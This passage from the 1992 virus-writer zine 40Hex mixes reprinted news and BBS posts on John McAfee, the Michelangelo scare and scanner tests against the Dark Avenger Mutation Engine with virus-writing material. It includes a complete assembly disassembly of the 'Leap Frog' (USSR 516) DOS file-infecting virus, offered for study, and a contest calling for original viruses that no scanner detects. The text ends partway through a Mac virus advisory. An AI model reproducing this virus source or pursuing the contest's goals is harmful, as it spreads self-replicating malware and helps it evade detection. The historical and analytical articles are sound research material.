executable programs (such as benign and helpful system utilities) are able to freely and directly access and alter the operating system and its file system, our machines will be vulnerable to deliberate attack. So here's my recommendation. Only a next-generation protected-mode operating system can enforce the levels of security required to provide complete viral immunity. By marking files and code overlays as "read and execute only" and by prohibiting the sorts of direct file system tampering performed by our current crop of system utilities, such operating systems will be able to provide their client programs with complete viral immunity. The final Achilles' heel of a protected-mode operating system is the system boot process, before and during which it is still potentially vulnerable. By changing the system ROM BIOS' boot priority to favor hard disk over floppy, this last viral path can be closed and blocked as well. (Steve Gibson is the developer and publisher of SpinRite and president of Gibson Research Corp., based in Irvine California....) <<<<<<<<<< Article 3: <<<<<<<<<< Date: Mon, 06 Apr 92 14:18:09 -0400 >From: Joseph Halloran Subject: NY Newsday Article on McAfee & Viruses (NOTE: The following article was published as a whole in the April 5, 1992 edition of New York Newsday, page 68. It is reprinted below without the express consent of Joshua Quittner, New York Newsday, or the Times-Mirror Company) SOFTWARE HARD SELL ------------------ "Are computer viruses running rampant, or is John McAfee's antivirus campaign running amok?" -By Joshua Quittner, staff writer John McAfee is doing one of the things he does best: warning a reporter about the perils of a new computer virus. "We're into the next major nightmare -- the Dark Avenger Mutating Engine," McAfee says, ever calm in the face of calamity. "It can attach to any virus and make it mutate." The ability to "mutate" makes it virtually undetectable to antivirus software, he explains. "It's turning the virus world upside down." But wait. This is John David McAfee, the man who once ran a service that revolved around the curious premise that, if you paid him a member- ship fee and tested HIV-negative, you could have AIDS-free sex with other members for six months. This is the man who jumped from biological viruses to computer viruses and quickly became a flamboyant expert on the new demi-plague, showing up at the scene of infected PCs in his Winnebago "antivirus paramedic unit." And this is the same man who started something called the Computer Virus Industry Association, and, as chairman, made national headlines last month by saying that as many as _five million_ computers might be infected with a virus named Michelangelo. The virus turned out to be a dud, in the opinion of many industry experts. But not before McAfee became a media magnet: In the weeks be- fore March 6, when Michelangelo was supposed to erase the hard disks of infected IBM and compatible PCs, he was featured by Reuters, the Associated Press, USA Today, the Wall Street Journal, "MacNeil/Lehrer News Hour," CNN, "Nightline," National Public Radio and "Today." What some news reports failed to point out, however, is that McAfee is also the man who runs Santa Clara, Calif.-based McAfee Associates, a leading manufacturer of antivirus software, and that he stood to benefit from publicity about Michelangelo. McAfee won't reveal sales, but it seems clear they shot up during the two-week frenzy. "People kept saying I hyped this, I hyped this," said McAfee, who still defends the notion that Michelangelo was widespread. "I never contacted the press -- they called me." McAfee's detractors say the Michelangelo scare was mainly hype and media manipulation, a parade in which most of the floats were built by McAfee. They say McAfee helped drive the rush to buy antivirus soft- ware -- with his products poised to sell the most -- while boosting the profile of McAfee Associates, a company that recently received $10 million from venture capitalists McAfee says are waiting to sell stock publicly. And, critics say, while McAfee touts a recent evaluation that rated his software alone as 100 percent effective in finding virtually every known virus, he funded the evaluation and picked his competitors. "He does know the issue of viruses, no doubt about it," said Ken Wasch, executive director of the 900-member Software Publishers Assoc- iation. "But his tactics are designed to sell _his_ software." McAfee says the media consistently misquoted him about how widespread Michelangelo was. And his company didn't profit from the virus, he says, but actually suffered due to the free advice his staff was dispensing. "It does not benefit me in any way or shape or form to exaggerate the virus problem." Even McAfee's detractors admit his programs do what they're supposed to do: track down coding that's maliciously placed in software to make it do anything from whistle "Yankee Doodle" to erase valuable data. His strongest distribution channel is shareware, a kind of software honor system common on electronic bulletin boards. PC users can download the programs over phone lines and pay later if they find them useful. McAfee's programs are "probably the most popular shareware programs of all time, second only to PKZIP," which compresses data, said George Pulido, technical editor of Shareware Magazine. He said McAfee's programs have been copied by millions of people, although only about 10 percent of shareware users actually pay. A more reliable money-maker is corporate site licenses, where McAfee is one of the three biggest players. Michael Schirf, sales manager of Jetic Inc., a Vienna, Va., company that is McAfee's sales agent for the Mid-Atlantic region, claimed more than 300 of the Fortune 500 companies have licensed his software, paying $3,250 to $20,000, depending on the number of PCs. During the Michelangelo scare, "you couldn't get through to us at one point because of people asking about it and trying to get it," Schirf said. Certainly, McAfee's software wasn't the only antivirus software selling. Fueled by giveaways of "special edition" programs that scanned exclusively for the Michelangelo virus, sales of general antivirus packages were a bonanza for everyone in the business, including Norton/ Symantec and Central Point Software, two other leading sellers. "Our sales of antivirus software were up 3,000 percent," said Tamese Gribble, a spokesman for Egghead Software, the largest discount software retailer in the country. "We were absolutely swamped." Rod Turner, a Norton executive vice president, said antivirus sales increased fivefold. "We didn't make any product in advance," he said, "so we were caught with our pants down." Companies like Norton that sell factory-shipped software couldn't ramp up quickly enough to take full advantage of the situation. But McAfee's software comes mostly through electronic bulletin boards and sales agents, giving him a nearly limitless capability to meet demand. "I can supply as many copies of the software as I have blank diskettes to put it on," Schirf said. The Michelangelo scare was also good for pay-by-the-hour on-line information services such as Compuserve, which saw a huge increase in the time users logged on looking for advice on Michelangelo. Indeed, a virus forum on Compuserve was hugely popular, with users downloading antivirus programs, including McAfee's, 49,000 times that week, Compuserve spokesman Dave Kishler said. Compuserve made more than $100,000 from the online time. McAfee makes an attractive industry spokesman. Tall and lean, with a mellifluous voice, he speaks in perfect sound bites -- an antidote to the unquotably bland men who otherwise dominate the antivirus business. A mathematician who got into programming when he graduated from Roanoke College, McAfee, 47, said he has held a dozen jobs, ranging from work on a voice-recognition board for PCs to consulting for the Brazilian national phone company in Rio de Janeiro. His first mention in the media was in connection with the American Association for Safe Sex Practices, a Santa Clara club formed so that its members could engage in AIDS-free sex. For a $22 fee, members whose blood tested HIV-negative were given cards certifying them AIDS-free, buttons saying "Play it Safe," and were entered on McAfee's on-line data base. Updates, every six months, cost $7. Anyone who knows anything about AIDS knows a certificate that someone is AIDS-free is good only until the person has sex with or shares an intravenous needle with an infected person. When asked now about the safe-sex group, McAfee at first denied anything but a passing affiliation: "I worked for those people as a con- tractor," he said, adding, "It was not my company." But later, when he was reminded that both the San Diego Tribune and the San Francisco Chronicle described him in feature stories as the entrepreneur who started the organization ("I believe I am providing an environment where people who are sexually active can feel more safe and secure," he told the Tribune in a March 9, 1987, story), McAfee sidestepped the ownership question. He said the group performed a valuable function, maintaining a data base on AIDS and information about the disease. "I thought they were pretty well ahead of their time," he said, quickly locating a 1987 newsletter put out by the group, which featured articles such as "Kissing and AIDS" and "The Apparent Racial Bias of the AIDS Virus." The association no longer exists. "They came and went pretty fast," McAfee said, chuckling. McAfee got his first taste of computer viruses at around that time. "It was an accident, like anything else in life," he recalled. "I got a copy of the Pakistani Brain. I think I got it from one of the local colleges. It was the program of the year." The program, reportedly written by two Pakistani students trying to foil software pirates, destroyed some PC data. By 1989, McAfee was a virus expert, selling the first antivirus software and offering to make house calls with his Winnebago cum computer lab. "John's antivirus unit is the first specially customized unit to wage effective, on-the-spot counterattacks in the virus war," McAfee and a co-author reported in "Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System," their 1989 book. "Event- ually, there will be many such mobile search, capture and destroy anti- virus paramedic units deployed around the world." He had also founded the Computer Virus Industry Association, with himself as chairman. "The CVIA is nothing more than McAfee," said Wasch, of the Software Publishers Association. "I had a run-in with him three years ago about that." Wasch said he had been asked by other antivirus businesses to look into McAfee's group after claims surfaced that he was railroading companies into joining -- something McAfee vigorously denies. Wasch said he believes the assocation was a self-serving group that did little more than support McAfee's business. "It would be like Microsoft creating the Windows Support Association as a front to promote its Windows software," Wasch said. McAfee denies the CVIA is a front and said Wasch's group was threatened by the creation of the virus association. "They wanted to take us over," he said. In any event, he said, the association is now managed by others and his involvement is minimal, adding, "It's more of a nuisance to me." But he does say the association is dependent on his private business for much of its virus data. "McAfee Associates has all the numbers," he said. Detractors say McAfee now uses another association to hype his programs. The National Computer Security Association released one of the few ratings of antivirus software, with McAfee's program on top -- a comparison he's quick to cite. But that may be because he influenced which software would be compared with his and how the tests were run, said David Stang, who founded the for-profit association in Washington, D.C., two years ago. Stang recently left the association and started a new one after a falling-out with McAfee over testing procedures. Stang said one of the assocation's functions was to "certify" antivirus software -- to test and rate competing programs. "It was his [McAfee's] idea that we certify products," Stang said. And when no company rushed forward to pay $500 to have its software rated, McAfee "sent me the products and the check and said 'go certify.'" McAfee says he spent thousands of dollars to evaluate some of his competitors' programs. In February, 1992, in fact, he paid for his own and the other five programs to be certified. His was ranked 100 percent effective. The others ranged from 44 percent to 88 percent effective. "If your product competes with mine, I'd like for those customers of mine to know that your product isn't as good as mine," he said. But in the February certification, notably absent were McAfee's biggest competitors: Dr. Solomon's ToolKit and Skulason's F-Prot. "I've got 75 competitors. I pick the ones who are going to give me the most trouble that month," McAfee explained. The February evaluation was actually a second, and more favorable test, that Stang says he performed at McAfee's request. Stang said McAfee was dissatisfied with the assocation's methods -- it tested the software against a "library" of viruses that McAfee thought wasn't comprehensive enough. So Stang said he agreed to use a new library that he claims was built on viruses McAfee found and supplied. Scores for McAfee's program rose while some others dropped sharply. McAfee said Stang's virus library was incomplete and his testing methods "wishy- washy," and he defended the new library's independence. "This is not something that anybody, let alone me, could mess with," said McAfee. "You can't jimmy these scores. You can't say that McAfee buys more certifications, therefore he'll get a better score, because other vendors would complain." "They wouldn't let me get away with it." [John McAfee] <<<<<<<<<< Article 4: <<<<<<<<<< From: Government Computer News March 30, 1992 By: Kevin Power, GCN staff "NIST Expert Warns Feds to Find Better Ways to Head Off Viruses" BALTIMORE - In the wake of the Michelangelo scare, a top security expert with the National Institute of Standards and Technology has warned agencies against relying too heavily on virus scanning software. Anti-virus software ia a useful detection tool, but it often takes too long to use and does not solve fundamental problems, said Dennis Steinhauer, manager of the computer security evaluation group at NIST's Computer Systems Laboratory. He spoke at the March meeting of the National Computer System Security and Privacy Advisory Board. Steinauer said the fallout from Michelangelo was minimal, thanks to early detection, plenty of publicity and governmentwide [sic] warnings. But he also stressed that vendors and agencies need more effective methods of protecting against viruses in newly acquired hardware and software. "What were believed to be reliable channels may no longer be," he said. "There's a lot that needs to be done to make sure that users receive better assurances that products are not contaminated. This incident may have undermined consumer confidence." Steinhauer said one solution would be to build hardware and operating systems that are less vulnerable. For example, vendors can isolate the boot sector of a hard drive to guard against infection. But agencies tend to shy away from such serious measures, because they force managers make hard choices about system functionality and user requirements, Steinhauer said. "We have the technology to do what is necessary. But we don't know what the price is to the user," he said. "The question is whether I'm willing to have my machine hobbled for protection. It's similar to installing a governor on a car to limit a vehicle's speed to 55 miles per hour." Agencies still are surveying for possible damage inflicted by Michelangelo, Steinhauer said. But he said the incident showed NIST officials that more agency computer emergency response teams (CERTs) are needed. CERTs, established in some agencies for just such attacks, worked well, Steinhauer said. The teams coordinate their work through the Forum on Incident Response and Security Teams, or FIRST. But Steinhauer said it was evident that not enough agencies have established CERTs. Internal agency security teams did their jobs, but the government needs a better way to distribute security advisories and handle less-publicized emergencies, Steinhauer said. <<<<<<<<<<< Article 5A: <<<<<<<<<<< Date: 05-29-92 (21:06) Number: 3019 of 3059 (Echo) To: BILL LAMBDIN Refer#: NONE From: CHARLIE MOORE Read: NO Subj: POLYMORPHIC VIRUSES 1/2 Status: PUBLIC MESSAGE Conf: VIRUS (52) Read Type: GENERAL (+) Note: This message is a repost -- I tied up the first by failing to set the lines per message < 99. My apologies to all. Bill, regarding how McAfee's Scan detects the DAME you stated: BL>Trust me. It is still string searches. McAfee finds those three BL>bytes, and then follows the steps to decrypt the virus to memory. If BL>it continues long enough to possitively identify the DAME, Scan BL>reports the virus, and looks at the next Now, being in the security business, and probably a bit paranoid as a result, when I see or hear "Trust me", I get a little queezy. I don't know the source of your information Bill (perhaps you'll let us know) but I don't think it's correct. On May 11, 1992, McAfee Associates was featured in a news release about the DAME -- Dark Avenger Mutation Engine No Threat to Protected PCs. Below is a quote from this release that does not track with what you're telling me (BTW, it was McAfee Associates who sent me the news release -- did not see it until today though). The Mutation Engine, however, uses a special algorithm to generate a completely variable decryption routine each time. "The result is that no three bytes remain constant from one sample to the next," said Igor Grebert, senior programmer at McAfee Associates. "This makes detection using conventional string-matching techniques impossible." Now, in my last message to you I stated that I understood three bytes did remain constant (I got this info from two sources; Hoffman's Vsum204 and tech support at Fifth Generation Systems -- I now suspect Hofman is wrong and tech support at Fifth Generation Systems was probably just parroting Hoffman's Vsum. As I've stated before, solid technical information about the DAME is limited! Today, I called Igor Grebert at McAfee Associates to verify that he was properly quoted in the news release -- he was. Igor would not tell me in detail how McAfee's Scan detects the DAME; however, he did assure me that searching for a three-byte string was not the technique used. BL>CM> I don't think anyone, not even the Dark Avenger himself, can put an BL>CM> accurate number on the possible virus mutations generated by the BL>Again trust me. It is mathmatics pure and simple. BL>the DAME randomly picks a 32 bit seed. Each bit will either be a 1 or 0. BL>... according to my scientific calculator, or 4.3 billion possible BL>combinations in english. BL>If the numbers above ring bells, it is binary plain and simple. Well Bill, I'm certainly not going to argue with your calculator. :-) However, my point was, and remains, that the possible numbers associated with a random seed are not necessarily equal to the possible number of mutations the DAME is capable of generating. Now, as I stated to you in my original message, solid information on the DAME (in particular, how it works interactively with its various segments of code) is limited. Even the most experienced and best qualified researchers often don't agree on certain aspects and more than a few questions remain about the limits of variability and related issues. Below is the latest and best info I've seen that gives some insight into the complexity here. The message was posted on the Internet's Virus-L Conference; its author, Vesselin Bontchev, is one of the most highly respected virus researchers in the world. Date: 21 May 92 22:11:43 +0000 From: bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev) Subject: Detecting the MtE (PC) Almost half an year has passed since the Dark Avenger's Mutating Engine (MtE) has been made available to the anti-virus researchers. Currently several scanners claim to detect it with "100 % reliability". Do they really succeed however? We decided to run some tests at the VTC. The tests are preliminary and were performed by Morton Swimmer. The Fear virus was used (a minor Dedicated patch) to generate 9,471 infected files. The files were generated by the natural infection process - the reason was to also test the randomness of the random number generator supplied with the MtE. Of those 9,471 infected examples 3 turned out to be duplicates, which yelded to 9,468 different instances of the virus. It also means that the random number generator is rather good... Those examples filled a 40 Mb disk (which didn't permit us to generate 10,000 different examples, as we wished initially). We wanted to keep them all, in order to be able to reproduce the tests. The three scanners were run on those virus samples. The scanners were the three that showed best detection rate on our collection, merely Dr. Solomon's FindVirus (version 4.15 with drivers from May 15, 1992), Fridrik Skulason's F-Prot 2.03a, and McAfee's SCAN 89-B. All the three scanners failed the test, each in a different way. FindVirus showed the worst results. It did not detect 744 virus samples (7.86 %). F-Prot did not detect 13 examples (0.14 %). SCAN did not detect 4 examples (0.04 %). SCAN shows the best detection rate in the case of MtE, but we also got a report for one false positive. For the average users the above rates might appear to be high enough. What are 4 undetected infected files when almost 10,000 infected ones have been properly detected? Well, it does matter. When you are looking for a particular known virus, anything below 100 % detection means that your program fails to detect it reliably. Rmember that a single not detected file may re-start the epidemy. There is another thing to be concerned about. The MtE uses a 128-byte random number generator, which means that theoretically it can exist in 2^512 different variants. And 0.04 % of this is still quite a CM> [Hmm... yet a different number of possible mutations?] lot... Suppose that some virus writer runs the same tests (or even more elaborate ones) and determines for which values of the random number generator the virus is not detected. Then he can create a new random number generator (the MtE provides the possibility for user-supplied random number generators to be plugged in), which generates -only- those values... Such a virus will not vary a lot, but it will still mutate and -all- its mutations will escape that particular scanner... As I mentioned in the beginning, those were only preliminary tests. We intend to modify the random number generator so that it will generate consecutive (instead of random) numbers and to create a few hundreds thousands mutations by keeping only those which a particular scanner does NOT detect. We'll then re-run the tests for random ranges of consecutive mutations. All we can say now is that neither of the three scanners mentioned above is able to detect MtE-based viruses with 100 % reliability. Currently I am aware of the existence of at least three other scanners which claim 100 % detection of the MtE. One comes with the new version of V-Analyst III, the second has been designed by IBM, and the third is Dutch scanner. As soon as we get them we'll re-run the tests. Regards, Vesselin ----------------------End of Vesselin's Message---------------------- Bill, I'll follow up on the subsequent tests Vesselin intends to run and report the results to you. One thing I've learned in this business is that accurate and solid information is sometimes hard to come by and the experts don't always have all the answers. Although I think Vesselin's above message is pretty solid, I also think he fails to consider something: on the one hand, he states a theoretical 2^512 (in contrast, your number is 2^32) different variants; yet, his empirical data produces 3 duplicate mutations from a run of less than 10 thousand. I think this is rather odd from a statistical perspective. Regards, Charlie Moore --- <<<<<<<<<<< Article 5B: <<<<<<<<<<< Date: 05-30-92 (15:08) Number: 3021 of 3059 (Echo) To: BILL LAMBDIN Refer#: NONE From: CHARLIE MOORE Read: NO Subj: POLYMORPHIC VIRUSES Status: PUBLIC MESSAGE Conf: VIRUS (52) Read Type: GENERAL (+) Bill, here's a followup post from Vesselin regarding the DAME: -----------------Extracted from Internet's Virus-L-------------------- Date: 27 May 92 08:44:06 +0000 From: bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev) Subject: Re: Detecting the MtE (PC) bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev) writes: > MtE. Of those 9,471 infected examples 3 turned out to be duplicates, > which yelded to 9,468 different instances of the virus. It also means Correction: a fourth duplicate has been found later. Therefore the total number of generated different mutations used during the test is only 9,467. > Currently I am aware of the existence of at least three other scanners > which claim 100 % detection of the MtE. One comes with the new version > of V-Analyst III, the second has been designed by IBM, and the third > is Dutch scanner. As soon as we get them we'll re-run the tests. We tried out the Dutch scanner. Its authors were present during the test. When they saw the results, they decided that the program is not ready to be tested yet and promised to send us a fixed version soon... :-) We just received the V-Analyst III scanner; we haven't tested it yet. As soon as the test is performed, I'll post the results. Meanwhile we received and tested yet another scanner which claims "100% detection of the MtE-based viruses". It is a German product, called AntiVir IV and produced by H+BEDV. The version tested was 4.03 of May 15, 1992, beta version. It missed 584 mutations (6.17 %). Regards, Vesselin - -- Vesselin Vladimirov Bontchev Virus Test Center, University of Hamburg Tel.:+49-40-54715-224, Fax: +49-40-54715-226 Fachbereich Informatik - AGN ** PGP public key available by finger. ** Vogt-Koelln-Strasse 30, rm. 107 C e-mail: bontchev@fbihh.informatik.uni-hamburg.de D-2000 Hamburg 54, Germany 40Hex Number 7 Volume 2 Issue 3 File 006 Virus Spotlite on: Leap Frog It's always interesting to find new residency techniques. I suppose everyone by now is tired of the traditional high-memory loading routine and is on the lookout for something different. 40Hex comes to the rescue! This virus, the "Leap Frog" or USSR 516, has one of the most unique methods I have ever seen. I was mucking around in VSUM and noticed that it, according to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS Stacks." She is, of course, not telling us the entire story. Leap Frog basically latches onto and resides in a DOS disk buffer. I do not know who the author is, but I commend him for his innovative technique. I took the liberty of disassembling the virus which is given below. It should be an exact byte-for-byte matchup of the original carrier file (or at least should be extremely similar). The offsets are in their correct locations, etc, etc. It is simple to understand and terribly efficient. Although the coding is tight, there are some inconsistencies. For example, I do not understand the purpose of the timing routine(int 21h/ah=30h) in the code. I also do not understand why the author decided to infect COM files in such an abnormal way. An interesting "feature" is the disabling of Control-Break checking - a thoroughly unnecessary piece of code. I believe further that the line above "findmarker" should read: lds di,dword ptr ds:[30h*4] In any case, the code is otherwise very, very good. It is great for studying by newcomers and "oldtimers" alike. Things to look for: Residency routine Lack of extensive use of relative offsets Use of stack frame in the interrupt handler Critical error handler Enjoy! Dark Angel of PHALCON/SKISM ussr516 segment byte public assume cs:ussr516, ds:ussr516 org 100h ; Disassembled by Dark Angel of PHALCON/SKISM ; for 40Hex Number 7 Volume 2 Issue 3 stub: db 0e9h, 0, 0 db 0e9h, 1, 0, 0 ; This is where the virus really begins start: push ax call beginvir orig4 db 0cdh, 20h, 0, 0 int30store db 0, 0, 0, 0 ; Actually it's int 21h ; entry point int21store db 0, 0, 0, 0 beginvir: pop bp ; BP -> orig4 mov si,bp mov di,103h add di,[di-2] ; DI -> orig4 movsw ; restore original movsw ; 4 bytes of program xor si,si mov ds,si les di,dword ptr ds:[21h*4] mov [bp+8],di ; int21store mov [bp+0Ah],es lds di,dword ptr ds:[30h*4+1] ; Bug???? findmarker: inc di cmp word ptr [di-2],0E18Ah ; Find marker bytes jne findmarker ; to the entry point mov [bp+4],di ; and move to mov [bp+6],ds ; int30store mov ax,5252h ; Get list of lists int 21h ; and also ID check add bx,12h ; Already installed? jz quitvir ; then exit push bx mov ah,30h ; Get DOS version int 21h pop bx ; bx = 12, ptr to 1st ; disk buffer cmp al,3 je handlebuffer ; if DOS 3 ja handleDBHCH ; if > DOS 3 inc bx ; DOS 2.X, offset is 13 handlebuffer: push ds push bx lds bx,dword ptr [bx] ; Get seg:off of buffer inc si pop di pop es ; ES:DI->seg:off buff mov ax,[bx] ; ptr to next buffer cmp ax,0FFFFh ; least recently used? jne handlebuffer ; if not, go find it cmp si,3 jbe quitvir stosw stosw jmp short movetobuffer handleDBHCH: ; Disk Buffer Hash Chain Head array lds si,dword ptr [bx] ; ptr to disk buffer lodsw ; info lodsw ; seg of disk buffer ; hash chain head array inc ax ; second entry mov ds,ax xor bx,bx mov si,bx lodsw ; EMS page, -1 if not ; in EMS xchg ax,di ; save in di lodsw ; ptr to least recently ; used buffer mov [di+2],ax ; change disk buffer ; backward offset to ; least recently used xchg ax,di ; restore EMS page mov [di],ax ; set to least recently movetobuffer: ; used mov di,bx push ds pop es ; ES:DI -> disk buffer push cs pop ds mov cx,108h lea si,[bp-4] ; Copy from start rep movsw mov ds,cx ; DS -> interrupt table mov word ptr ds:[4*21h],0BCh ; New interrupt handler mov word ptr ds:[4*21h+2],es ; at int21 quitvir: push cs ; CS = DS = ES pop es push es pop ds pop ax mov bx,ax mov si, 100h ; set up stack for push si ; the return to the retn ; original program int24: mov al,3 ; Ignore all errors iret tickstore db 3 ; Why??? buffer db 3, 0, 9, 0 int21: pushf cli ; CP/M style call entry call dword ptr cs:[int30store-start] retn ; point of int 21h int21DSDX: ; For int 21h calls push ds ; with lds dx,dword ptr [bp+2] ; DS:DX -> filename call int21 pop ds retn cmp ax,4B00h ; Execute je Execute cmp ax,5252h ; ID check je CheckID cmp ah,30h ; DOS Version je DosVersion callorig21: ; Do other calls jmp dword ptr cs:[int21store-start] DosVersion: ; Why????? ; DOS Version dec byte ptr cs:[tickstore-start] jnz callorig21 ; Continue if not 0 push es xor ax,ax push ax mov es,ax mov al,es:[46Ch] ; 40h:6Ch = Timer ticks ; since midnight and al,7 ; MOD 15 inc ax inc ax mov cs:[tickstore-start],al ; # 2-17 pop ax pop es iret CheckID: ; ID Check mov bx,0FFEEh ; FFEEh = -12h iret Execute: ; Execute push ax ; Save registers push cx push es push bx push ds ; DS:DX -> filename push dx ; save it on stack push bp mov bp,sp ; Set up stack frame sub sp,0Ah ; Temporary variables ; [bp-A] = attributes ; [bp-8] = int 24 off ; [bp-6] = int 24 seg ; [bp-4] = file time ; [bp-2] = file date sti push cs pop ds mov ax,3301h ; Turn off ^C check xor dl,dl ; (never turn it back call int21 ; on. Bug???) mov ax,3524h ; Get int 24h call int21 ; (Critical error) mov [bp-8],bx mov [bp-6],es mov dx,int24-start mov ax,2524h ; Set to new one call int21 mov ax,4300h ; Get attributes call int21DSDX jnc continue doneinfect: mov ax,2524h ; Restore crit error lds dx,dword ptr [bp-8] ; handler call int21 cli mov sp,bp pop bp pop dx pop ds pop bx pop es pop cx pop ax jmp short callorig21 ; Call orig handler continue: mov [bp-0Ah],cx ; Save attributes test cl,1 ; Check if r/o???? jz noclearattr xor cx,cx mov ax,4301h ; Clear attributes call int21DSDX ; Filename in DS:DX jc doneinfect ; Quit on error noclearattr: mov ax,3D02h ; Open read/write call int21DSDX ; Filename in DS:DX jc doneinfect ; Exit if error mov bx,ax mov ax,5700h ; Save time/date call int21 mov [bp-4],cx mov [bp-2],dx mov dx,buffer-start mov cx,4 mov ah,3Fh ; Read 4 bytes to call int21 ; buffer jc quitinf cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h jne quitinf ; Otherwise, quit mov dx,word ptr ds:[buffer+1-start]; dx = jmploc dec dx xor cx,cx mov ax,4201h ; go there call int21 mov ds:[buffer-start],ax ; new location offset mov dx,orig4-start mov cx,4 mov ah,3Fh ; Read 4 bytes there call int21 mov dx,ds:[orig4-start] cmp dl,0E9h ; 0E9h means we might jne infect ; already be there mov ax,ds:[orig4+2-start] ; continue checking add al,dh ; to see if we really sub al,ah ; are there. jz quitinf infect: xor cx,cx mov dx,cx mov ax,4202h ; Go to EOF call int21 mov ds:[buffer+2-start],ax ; save filesize mov cx,204h mov ah,40h ; Write virus call int21 jc quitinf ; Exit if error sub cx,ax jnz quitinf mov dx,ds:[buffer-start] mov ax,ds:[buffer+2-start] sub ax,dx sub ax,3 ; AX->jmp offset mov word ptr ds:[buffer+1-start],ax; Set up buffer mov byte ptr ds:[buffer-start],0E9h; code the jmp add al,ah mov byte ptr ds:[buffer+3-start],al mov ax,4200h ; Rewind to jmploc call int21 mov dx, buffer-start mov cx,4 ; Write in the jmp mov ah,40h call int21 quitinf: mov cx,[bp-4] mov dx,[bp-2] mov ax,5701h ; Restore date/time call int21 mov ah,3Eh ; Close file call int21 mov cx,[bp-0Ah] ; Restore attributes mov ax,4301h call int21DSDX jmp doneinfect ; Return ussr516 ends end stub 40Hex Number 7 Volume 2 Issue 3 File 007 Just a friendly reminder: ------------------------ Virus Contest! 'The Spammies(tm)' ------------------------ Deadline: July 4th, 1992 This is the first PHALCON/SKISM virus contest. As a matter of fact, this is the first contest of its kind. We believe that it will motivate you to produce more original code, rather than more hacks. Winners may have already won $10,000,000, as well as the prestige of winning the first ever 'Spammie' awards. Rules and Regulations: 1) All submissions must be original source code. (no hacks) 2) Only one submission is allowed per programmer, plus one group project. 3) All viruses must be recieved by us before July 4th, 1992. 4) Viruses must be accompanied by a complete entry form. (see below) 5) The original, compilable, commented source MUST be included, along with an installer program, or a dropper, in the case of boot block viruses. 6) Entries must include a location where the author may be contacted, such as an email address or a BBS. 7) Personnel or persons related to personnel of PHALCON/SKISM are not eligable. 8) The source must compile without error under Tasm or Masm (please specify what assembler and version you used, along with the necessary command line switches). If we cannot compile your virus, it will be disqualified. 9) All entries recieve a free subscription to 40hex. (hehehehe) 10) The entry must be uploaded privately to the sysop, stating that it is a contest entry. 11) The viruses must not be detectable by the current version (as of July 4th) of any known virus scanner. 12) Viruses will be judged by our 'panel of experts' in three catagories. 6.1) Stealth 6.2) Size 6.3) Reproductivity 6.4) Performance For example, Red Cross is an example of a 'high performance' virus. It was entertaining and well done. *** Entry Form Handle ________________________ Group Afiliation ______________ Virus Name ____________________ Size ____bytes (if you need more spaces, go away) Type ___ File Infector ___ Boot block Infection method ___ Direct Action ___ Memory Resident ___ Directory chain ___ Other (please describe it in detail) Encryption routine ___ None (bah) ___ Xor loop ___ Other (please describe it in detail) Describe what makes your infection routine unique. _______________________________________________________________________________ _______________________________________________________________________________ Describe what makes your encryption routine unique. _______________________________________________________________________________ _______________________________________________________________________________ Describe what means your virus uses, other than encryption, to keep itself hidden. _______________________________________________________________________________ _______________________________________________________________________________ What is the largest possible scan string for this virus? __bytes What else sets this virus apart from other viruses? _______________________________________________________________________________ _______________________________________________________________________________ _______________________________________________________________________________ 40Hex Number 7 Volume 2 Issue 3 File 008 More Virus News. An informed virus Programmer is a good one. Article 1: New Macintosh Virus Article 2: RockSteady's 666 Virus [NuKE] Article 3: A Stooge's View <<<<<<<<< Article 1 <<<<<<<<< Date: Fri, 17 Apr 92 11:34:50 -0500 >From: Gene Spafford Subject: Mac announcement - new virus (Mac) New Macintosh Virus Discovered 17 April 1992 Virus: CODE 252 Damage: some, possibly severe (see text) Spread: unknown (see text) Systems affected: Apple Macintosh computers. All types, but see text. A new virus, which has been designated "CODE 252", has been discovered on Apple Macintosh computer systems. This virus is designed to trigger if an infected application is run or system booted between June 6 and December 31, inclusive. When triggered, the virus brings up a dialog box with the message: You have a virus. Ha Ha Ha Ha Ha Ha Ha Now erasing all disks... Ha Ha Ha Ha Ha Ha Ha P.S. Have a nice day. Ha Ha Ha Ha Ha Ha Ha (Click to continue...) Despite this message, no files or directories are deleted in the versions of the virus we have seen; however, a worried user might power down the system upon seeing the message, and thus corrupt the disk -- this could lead to significant damage. Furthermore, the virus may interact with some applications in such a manner as to damage them. Under System 7, the System file can be seriously damaged by the virus under at least some circumstances as the virus attempts to spread. This may lead to a system that will not boot, crashes, or other unusual behavior. Between January 1 and June 5, inclusive, the virus simply spreads from applications to system files, and then on to other application files. At the present moment, we have no indication that the virus causes direct damage to any existing applications. The virus does not spread to other applications under MultiFinder on System 6.x systems, nor will it spread under System 7. However, it will run on those systems if an infected application is executed. Even if you are running one of these systems, we recommend you obtain an use one of latest versions of appropriate anti-virus software. As of the date of this announcement (17 April 92), we have had limited reported sightings of this virus. This, combined with the nature of operation of the virus, leads us to believe that the virus is not yet widespread. The current versions of Gatekeeper and SAM Intercept (in advanced and custom mode) are effective against this virus. Either program should generate an alert if the virus is present and attempts to spread to other files. The Virex Record/Scan feature will also detect the virus. Authors of all major Macintosh anti-virus tools are planning updates to their tools to locate and/or eliminate this virus. Some of these are listed below. We recommend that you obtain and run a CURRENT version of AT LEAST ONE of these programs. Some specific information on updated Mac anti-virus products follows: Tool: Disinfectant Status: Free software (courtesy of Northwestern University and John Norstad) Revision to be released: 2.8 Where to find: usual archive sites and bulletin boards -- ftp.acns.nwu.edu, sumex-aim.stanford.edu, rascal.ics.utexas.edu, AppleLink, America Online, CompuServe, Genie, Calvacom, MacNet, Delphi, comp.binaries.mac When available: soon Tool: Gatekeeper Status: Free software (courtesy of Chris Johnson) Revision to be released: 1.2.6 (probably) Where to find: usual archive sites and bulletin boards -- microlib.cc.utexas.edu, sumex-aim.stanford.edu, rascal.ics.utexas.edu, comp.binaries.mac When available: eventually Comments: Gatekeeper should find this virus if it attempts to infect your system or applications, and thus does not need an update. Gatekeeper Aid will need an update to "know" exactly what virus it is seeing so it can remove the virus, but the update is not crucial for continued protection. As Gatekeeper is freeware and Chris has a "real" life, this update may not be immediate. Tool: Rival Status: Commercial software Revision to be released: Rival 1.1.9v (CODE 252 Vaccine or Refresh 1.1.9v) Where to find it: AppleLink, America Online, Internet, Compuserve. When available: Immediately. Tool: SAM (Virus Clinic and Intercept) Status: Commercial software Revision to be 